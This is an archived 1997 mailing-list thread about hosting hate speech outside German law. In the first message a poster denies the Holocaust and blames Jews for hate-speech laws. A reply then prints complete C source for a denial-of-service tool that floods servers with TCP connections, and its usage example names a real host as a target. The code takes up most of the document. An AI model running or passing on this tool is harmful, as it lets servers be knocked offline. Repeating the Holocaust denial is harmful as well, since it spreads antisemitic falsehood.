NODE 020c2253Re: Hate speech in America
Aryan <aryan@nym.alias.net>Sat, 20 Dec 1997 11:26:00 +0800
"Robert A. Costner" <pooh@efga.org>
>>I am a German patriot who wants to
>>publish my ideas without of fear of the German goverment.
>>But my concern is
>>that the U. S. ISP I use can hand over my subscriber infoation and logs to
>the
>>German goverment.
>>Does anyone know a U. S. ISP who does not censor hate speech
>>and who has a _known_ strong privacy policy?
>>By the way, is hate speech
>>protected in United States?
>
>Hate speech is constitutionally protected in the US. That doesn't mean you
>can do it from any particular ISP or in someone's living room. You seem to
>have found protected email, you should therefore know who to post to
>usenet. There are dozens of places you can get free web sites from, though
>I don't know about their hate speech policies.
I know Geocities, Tripod, Angelfire and few others who provide free
web hosting.
All these ISPs have policies prohibiting political and sexually
explicitly speech on the
ground of its content.
That's obviously not a First Amendment issue involved.
>I'd be curious to know of Geocities, Tripod, et all - where they have
>kicked people off or not for hate speech.
Yes. They have done so.
Geocities is very censorious even regarding politically correct
speech such as gay advoccy and Tripod has kickeda homosexual
site of for violation of a clause in the agreement concerning
"adult" content.
I am searching for a commercial ISP who will not censor
political speech and who will respect one's privacy.
I am not a nazi sympathizer, but I don't believe in the
holocaust and want to say it loud.
In Germany and in other countries where the Jews have succeeded
in creating "hate laws"
you can get four years in jail for refusing to
believe in the holocaust.
I would like to set up a homepage with some "illegal" [within
Germany only] content that would not be shut down by the German
goverment.
I am working on a book exposing the holocaust story that would
*surely* be banned in my own "democratic" country.
The unfortunate not-so-well-known fact about Germany is that we
do not have freedom of speech.
I often wonder why Amnesty International did not protest the
imprisonment of Gary Lauck who was denied basic due process and
human rights, including freedom of speech and association, by a
kangoro court.
[This message is cross-posted to de.soc.zensur and de.soc.politik
to upset my dictatorial goverment].
NODE f67ca3b5Re: Hate speech in America
ichudov@Algebra.COM (Igor Chudov @ home)Sat, 20 Dec 1997 12:52:09 +0800
Aryan wrote:
> In Germany and in other countries where the Jews have succeeded
> in creating "hate laws" you can get four years in jail for refusing to
> believe in the holocaust.
> I would like to set up a homepage with some "illegal" [within
> Germany only] content that would not be shut down by the German
> goverment.
Talk to Sanford Wallace, sales@cyberpromo.com. (or is that domain dead?)
The problem with hate speech is that there is a great number of people
who would individually attempt to shut down your pages. Even if your
ISP does not censor you, they will mailbomb, SYN bomb, ping flood, etc
your server, or even hack your provider.
It may be bad enough for your provider to get tired and kick you out.
A while ago I wrote a simple program that floods servers with TCP open
requests (see below). I have heard that some folks are now writing
improved versions of this program. It runs on linux and should run on
most unix boxes.
- Igor.
/***************************************************************************/
/* */
/* \=/, _-===-_-====-_-===-_-==========-_-====-_ */
/* | @___oo ( Denial Of Service )_ */
/* /\ /\ / (___,,,}_--= Opens Many Dangling TCP Connections ) */
/* ) /^\) ^\/ _) =__ to swamp TCP servers of your ) */
/* ) /^\/ _) (_ enemies. ) */
/* ) _ / / _) ( ) */
/* /\ )/\/ || | )_) (_ Educational Use Only! ) */
/*< > |(,,) )__) ( Ignoramus_Chewed-Off@algebra.com ) */
/* || / \)___)\ (_ 1997 __) */
/* | \____( )___) )___ -==-_____-=====-_____-=====-___== */
/* \______(_______;;; __;;; */
/* */
/***************************************************************************/
const char * Usage =
"Error: %s\n"
"USAGE: %s (block|grind) hostname service# #connections\n"
"\n"
"This program opens #connections connections to the specified host.\n"
"It can be used to deny services, slow down and crash Internet servers.\n"
"\n"
"If #connections is set to 0, it opens as many connections as it can\n"
"and continues trying to do so as long as it runs. Use Control-C to \n"
"interrupt it. NOTE that depending on your OS, it may hurt you too.\n"
"\n"
"If #connections is not 0, this program only opens #connections of them.\n"
"After that, if the first argument is 'block', it simply sleeps. If the\n"
"first argument is 'grind', it starts opening and closing connections\n"
"in a round robin manner every second.\n"
"\n"
"This program is for EDUCATIONAL USE ONLY. Please do not use it for\n"
"anything illegal. There is no warranty. Copyright(C) Ignoramus Chewed-Off.\n"
"\n"
"USE EXAMPLE: \n"
" %s grind victim.com 80 1000\n"
"-- opens 1000 HTTP connections to victim.com and waits\n"
" %s block www.agis.net 80 0\n"
"-- constantly attempts to open HTTP connections to www.agis.net\n"
;
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/types.h>
#include <netdb.h>
#include <sys/socket.h>
#include <netinet/in.h>
#define USAGE( msg ) \
fprintf( stderr, Usage, msg, argv[0], argv[0], argv[0] ), \
exit( 1 )
/* after I open this many additional connections (for n_connections == 0),
I wait for 1 second, just in case
*/
#define MAX_CONN 50
typedef enum { CON_BLOCK, CON_GRIND } ConMode;
/* create a client socket connected to PORT on HOSTNAME */
int create_client_socket(char ** hostname, int port)
{
struct sockaddr_in sa ;
struct hostent *hp ;
int a, s ;
long addr ;
bzero(&sa, sizeof(sa)) ;
if ((addr = inet_addr(*hostname)) != -1) {
/* is Internet addr in octet notation */
bcopy(&addr, (char *) &sa.sin_addr, sizeof(addr)) ; /* set address */
sa.sin_family = AF_INET ;
} else {
/* do we know the host's address? */
if ((hp = gethostbyname(*hostname)) == NULL) {
return -2 ;
}
*hostname = hp->h_name ;
bcopy(hp->h_addr, (char *) &sa.sin_addr, hp->h_length) ;
sa.sin_family = hp->h_addrtype ;
}
sa.sin_port = htons((u_short) port) ;
if ((s = socket(sa.sin_family, SOCK_STREAM, 0)) < 0) { /* get socket */
return -1 ;
}
if (connect(s, (struct sockaddr *)&sa, sizeof(sa)) < 0) { /* connect */
close(s) ;
return -1 ;
}
return s ;
}
int main( int argc, char *argv[] )
{
char * name;
int port, n_connections;
int s;
ConMode mode;
if( argc != 5
|| (argc >= 1 && (!strcmp( argv[1], "--help" )
|| !strcmp( argv[1], "-help" ))))
{
USAGE( "Wrong Number of Arguments" );
}
if( !strcmp( argv[1], "block" ) )
{
mode = CON_BLOCK;
}
else if( !strcmp( argv[1], "grind" ) )
{
mode = CON_GRIND;
}
else
{
USAGE( "First argument must be 'block' or 'grind'" );
}
name = argv[2];
if( (port = atoi( argv[3] ) ) == 0 )
{
USAGE( "Port Number must be numeric" );
}
if( !isdigit( argv[4][0] ) )
{
USAGE( "Port Number must be numeric" );;
}
n_connections = atoi( argv[4] );
if( n_connections == 0 ) /* infinite loop */
{
int i = 0;
printf( "ATTENTION: This may damage even your "
"computer. Press ^C to abort\n" );
while( 1 )
{
if( create_client_socket( &name, port ) == -1 )
{
printf( "Connection refused; sleeping.\n" );
sleep( 1 );
}
else
{
if( (i++ % MAX_CONN) == (MAX_CONN-1) )
{
printf( "You can interrupt me here. I have %d "
"connections open. \nContinuing...\n", i );
sleep( 1 );
}
}
}
}
else
{
int * fds = (int *)calloc( n_connections, sizeof( int ) );
int i = 0;
if( fds == 0 )
USAGE( "Memory Allocation Error" );
while( 1 ) /* in a loop, keep opening descriptors */
{
if( fds[i] != 0 )
{
printf( "Closing %d...\n", i );
close( fds[i] );
}
while( 1 ) /* try to open the new one */
{
if( (fds[i] = create_client_socket( &name, port )) == -1 )
{
printf( "Connection refused; sleeping.\n" );
sleep( 1 );
}
else
{
printf( "Opened %d.\n", i );
break;
}
}
i++;
if( i == n_connections ) /* we've gone full circle */
{
printf( "Done with %d connections\n", i );
if( mode == CON_BLOCK )
{
printf( "I am going to sleep forever...\n", i );
while( 1 )
sleep(1);
}
else /* repeating the loop */
i = 0;
sleep( 1 );
}
}
}
}